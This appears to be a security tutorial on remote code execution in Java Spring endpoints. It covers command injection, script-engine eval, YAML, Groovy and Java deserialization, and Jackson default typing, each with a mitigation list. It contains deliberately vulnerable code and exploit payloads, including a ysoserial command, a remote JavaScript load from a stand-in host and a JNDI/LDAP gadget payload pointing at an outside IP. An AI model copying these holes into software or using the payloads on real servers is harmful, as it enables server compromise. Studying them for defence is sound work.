Java Applications Remote Code Execution Scenarios

Java Applications Remote Code Execution Scenarios

ProcessBuilder

Java code snippet contains a vulnerability that allows for Remote Code Execution (RCE) due to the lack of input validation/sanitization on the cmd parameter. Let's dive into a deep technical analysis of this vulnerability and how it can be exploited.

@GetMapping("/ProcessBuilder")
    public String processBuilder(String cmd) {

        StringBuilder sb = new StringBuilder();

        try {
            String[] arrCmd = {"/bin/sh", "-c", cmd};
            ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
            Process p = processBuilder.start();
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                sb.append(tmpStr);
            }
        } catch (Exception e) {
            return e.toString();
        }

        return sb.toString();
    }
  1. Endpoint Analysis:

    • The endpoint /ProcessBuilder is a GET endpoint, which takes a single parameter cmd.

    • It constructs a command using the value of cmd and executes it via ProcessBuilder.

  2. Command Injection Vulnerability:

    • The vulnerability lies in the construction of the command array arrCmd without proper input validation or sanitization.

    • The cmd parameter is directly used in constructing the command array, making it susceptible to command injection attacks.

  3. Exploitation:

    • An attacker can craft a malicious payload for the cmd parameter to execute arbitrary commands on the server.

    • In the provided example, the payload cmd=whoami is used to demonstrate the vulnerability, but attackers can execute any command that the underlying operating system allows.

  4. Payload Analysis:

    • The payload cmd=whoami instructs the server to execute the whoami command, which returns the username of the current user executing the command.

    • Since the command is executed with /bin/sh -c, it's executed within a shell, allowing for shell command execution.

  5. Mitigation:

    • Implement proper input validation and sanitization to ensure that the cmd parameter only contains safe values.

    • Use a whitelist approach to allow only a predefined set of commands or operations.

    • Avoid executing commands directly from user input whenever possible.

    • Consider running the application with limited privileges and using security frameworks like Spring Security to handle authentication and authorization.

  6. Example of Payload Exploitation:

    • An attacker could craft a payload to perform malicious activities such as:

      • Reading sensitive files (/etc/passwd, configuration files, etc.).

      • Writing or deleting files on the server.

      • Executing arbitrary system commands to gain further access or execute more damaging actions.

ScriptEngineManager

Java code snippet implements a REST endpoint /jscmd that takes a parameter jsurl which is presumably a URL pointing to a JavaScript file. The JavaScript file is then loaded and executed using Nashorn, the JavaScript engine for Java.

@GetMapping("/jscmd")
    public void jsEngine(String jsurl) throws Exception{
        // js nashorn javascript ecmascript
        ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
        Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
        String cmd = String.format("load(\"%s\")", jsurl);
        engine.eval(cmd, bindings);
    }

Here's a deep technical analysis of this code and how it can be exploited:

  1. Endpoint Analysis:

    • The endpoint /jscmd is a GET endpoint that expects a parameter jsurl, which should be a URL pointing to a JavaScript file.
  2. Vulnerability Analysis:

    • The vulnerability in this code lies in the fact that it allows execution of arbitrary JavaScript code fetched from an external source without proper validation or sanitization.

    • The eval() method is used to execute the JavaScript code obtained from the specified URL.

  3. Exploitation:

    • An attacker can provide a malicious JavaScript file hosted at a controlled URL to execute arbitrary code on the server.

    • In the provided example, the payload curl http://xx.yy/zz.js is provided to demonstrate the vulnerability.

  4. Payload Analysis:

    • The payload curl http://xx.yy/zz.js represents the URL of a JavaScript file (zz.js) hosted at http://xx.yy.

    • The contents of the JavaScript file include a function mainOutput() that invokes java.lang.Runtime.getRuntime().exec("open -a Calculator");, which attempts to execute the Calculator application on the server.

  5. Mitigation:

    • Implement strict input validation to ensure that the URL provided in the jsurl parameter points to trusted and intended JavaScript files.

    • Consider using a whitelist approach to allow only specific URLs or domains for loading JavaScript files.

    • Sanitize input to prevent any unintended or malicious code execution.

    • Restrict the permissions of the Java application to minimize the impact of potential exploits.

  6. Example of Payload Exploitation:

    • An attacker could craft a payload that includes JavaScript code to:

      • Execute arbitrary system commands on the server.

      • Read sensitive files from the server's filesystem.

      • Modify or delete files on the server.

      • Perform other malicious activities depending on the capabilities of the Java runtime environment.

Yaml

Java code snippet defines a REST endpoint /vuln/yarm that accepts YAML content as input. The YAML content is then loaded using the Yaml class, which parses YAML into Java objects. However, this code is vulnerable to Remote Code Execution (RCE) due to deserialization of untrusted data.

@GetMapping("/vuln/yarm")
    public void yarm(String content) {
        Yaml y = new Yaml();
        y.load(content);
    }

Here's a detailed technical analysis of the code and how it can be exploited:

  1. Endpoint Analysis:

    • The endpoint /vuln/yarm is a GET endpoint that expects a parameter content containing YAML data.
  2. Vulnerability Analysis:

    • The vulnerability lies in the deserialization process of YAML content using the Yaml class without proper validation or sanitization.

    • Deserializing untrusted data can lead to Remote Code Execution if the YAML content contains malicious payloads.

  3. Exploitation:

    • An attacker can craft a malicious YAML payload containing instructions to execute arbitrary code on the server.

    • The payload provided in the example exploits the vulnerability by injecting a YAML payload that triggers the execution of arbitrary Java code via deserialization.

  4. Payload Analysis:

  5. Mitigation:

    • Avoid deserializing untrusted data or use safe serialization mechanisms.

    • Implement input validation and filtering to ensure that only trusted YAML content is processed.

    • Consider using secure deserialization libraries or applying security controls such as Content-Type validation.

    • Monitor and log deserialization attempts for suspicious activities.

  6. Example of Payload Exploitation:

    • An attacker could craft a malicious YAML payload that:

      • Loads and executes arbitrary Java code from a remote location.

      • Performs actions such as file system access, network communication, or command execution on the server.

      • Exploits vulnerabilities in the Java runtime environment to gain unauthorized access or escalate privileges.

groovy

The provided Java code snippet defines a REST endpoint /groovy that accepts Groovy script content as input. The Groovy script is then executed using the GroovyShell class, which allows dynamic execution of Groovy code. However, this code is vulnerable to Remote Code Execution (RCE) due to the lack of input validation or sanitization.

@GetMapping("groovy")
    public void groovyshell(String content) {
        GroovyShell groovyShell = new GroovyShell();
        groovyShell.evaluate(content);
    }

Here's a detailed technical analysis of the code and how it can be exploited:

  1. Endpoint Analysis:

    • The endpoint /groovy is a GET endpoint that expects a parameter content containing Groovy script code.
  2. Vulnerability Analysis:

    • The vulnerability lies in the dynamic execution of Groovy script content provided by the user without proper validation or sanitization.

    • Executing untrusted Groovy script content can lead to Remote Code Execution if the script contains malicious commands.

  3. Exploitation:

    • An attacker can craft a malicious Groovy script payload containing instructions to execute arbitrary code on the server.

    • The payload provided in the example exploits the vulnerability by injecting a Groovy script that executes the open -a Calculator command, which attempts to execute the Calculator application on the server.

  4. Payload Analysis:

    • The payload http://localhost:8080/rce/groovy?content="open -a Calculator".execute() demonstrates an attack vector using Groovy script execution to execute arbitrary system commands.

    • The payload executes the Groovy script "open -a Calculator".execute(), which invokes the execute() method to execute the system command open -a Calculator.

  5. Mitigation:

    • Implement strict input validation and sanitization to ensure that only trusted Groovy script content is executed.

    • Avoid executing untrusted code dynamically whenever possible.

    • Consider using a whitelist approach to allow only specific operations or functions in the Groovy scripts.

    • Restrict the permissions of the Java application to minimize the impact of potential exploits.

  6. Example of Payload Exploitation:

    • An attacker could craft a malicious Groovy script payload that:

      • Executes arbitrary system commands to perform actions such as file system access, network communication, or command execution on the server.

      • Exploits vulnerabilities in the Java runtime environment to gain unauthorized access or escalate privileges.

ObjectInputStream

Java code snippet defines a REST endpoint /rememberMe/vuln that attempts to deserialize a rememberMe cookie value. This code is vulnerable to Remote Code Execution (RCE) due to deserialization of untrusted data.

@RequestMapping("/rememberMe/vuln")
    public String rememberMeVul(HttpServletRequest request)
            throws IOException, ClassNotFoundException {

        Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
        if (null == cookie) {
            return "No rememberMe cookie. Right?";
        }

        String rememberMe = cookie.getValue();
        byte[] decoded = Base64.getDecoder().decode(rememberMe);

        ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
        ObjectInputStream in = new ObjectInputStream(bytes);
        in.readObject();
        in.close();

        return "Are u ok?";
    }

Here's a detailed technical analysis of the code and how it can be exploited:

  1. Endpoint Analysis:

    • The endpoint /rememberMe/vuln is a GET endpoint that takes no parameters but relies on the rememberMe cookie in the request.
  2. Vulnerability Analysis:

    • The vulnerability lies in the deserialization process of the rememberMe cookie value using ObjectInputStream without proper validation or sanitization.

    • Deserializing untrusted data can lead to Remote Code Execution if the serialized data contains malicious payloads.

  3. Exploitation:

    • An attacker can exploit this vulnerability by crafting a malicious serialized payload that, when deserialized, executes arbitrary code on the server.

    • The payload provided in the example exploits the vulnerability by using the ysoserial tool to generate a serialized payload that executes the open -a Calculator command.

  4. Payload Analysis:

    • The payload java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 generates a serialized payload using ysoserial that triggers the execution of the open -a Calculator command.

    • The serialized payload is then encoded in Base64 format.

  5. Mitigation:

    • Avoid deserializing untrusted data or use safe serialization mechanisms such as JSON or XML.

    • Implement input validation and filtering to ensure that only trusted serialized data is processed.

    • Consider using secure deserialization libraries or applying security controls such as Content-Type validation.

    • Monitor and log deserialization attempts for suspicious activities.

  6. Example of Payload Exploitation:

    • An attacker could craft a malicious serialized payload that:

      • Executes arbitrary system commands to perform actions such as file system access, network communication, or command execution on the server.

      • Exploits vulnerabilities in the Java deserialization process to gain unauthorized access or escalate privileges.

ObjectMapper

Java code snippet defines a REST endpoint /jackson that takes a payload parameter. It utilizes the Jackson library to deserialize JSON data into Java objects and then serializes them back into JSON. However, this code is vulnerable to Remote Code Execution (RCE) due to the use of enableDefaultTyping() which enables polymorphic deserialization.

@RequestMapping("/jackson")
    public void Jackson(String payload) {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        try {
            Object obj = mapper.readValue(payload, Object.class);
            mapper.writeValueAsString(obj);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

Here's a detailed technical analysis of the code and how it can be exploited:

  1. Endpoint Analysis:

    • The endpoint /jackson is a GET endpoint that expects a parameter payload containing JSON data.
  2. Vulnerability Analysis:

    • The vulnerability lies in the use of enableDefaultTyping() method of the ObjectMapper class. This method enables default typing, allowing Jackson to deserialize objects without specifying their exact type.

    • Enabling default typing can lead to Remote Code Execution if the JSON data contains a specially crafted payload.

  3. Exploitation:

    • An attacker can exploit this vulnerability by crafting a malicious JSON payload that triggers the execution of arbitrary code on the server.

    • The payload provided in the example contains a class name (org.jsecurity.realm.jndi.JndiRealmFactory) and its associated properties, which could be a part of a larger attack chain.

  4. Payload Analysis:

    • The payload provided in the example is:

        String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]";
      
    • This payload represents a JSON array where the first element is a class name and the second element is a set of properties. It's attempting to instantiate JndiRealmFactory with a property jndiNames pointing to a potentially malicious LDAP server.

  5. Mitigation:

    • Disable default typing (enableDefaultTyping()) in Jackson's ObjectMapper to prevent polymorphic deserialization.

    • Implement strict input validation and sanitize the input before deserialization.

    • Use a whitelist approach to only allow deserialization of known and trusted types.

    • Consider using alternative serialization formats that do not support polymorphic deserialization, such as Protocol Buffers or JSON-B.

  6. Example of Payload Exploitation:

    • An attacker could craft a malicious JSON payload that:

      • Executes arbitrary code on the server by exploiting vulnerabilities in deserialization process.

      • Performs actions such as file system access, network communication, or command execution on the server.

Resources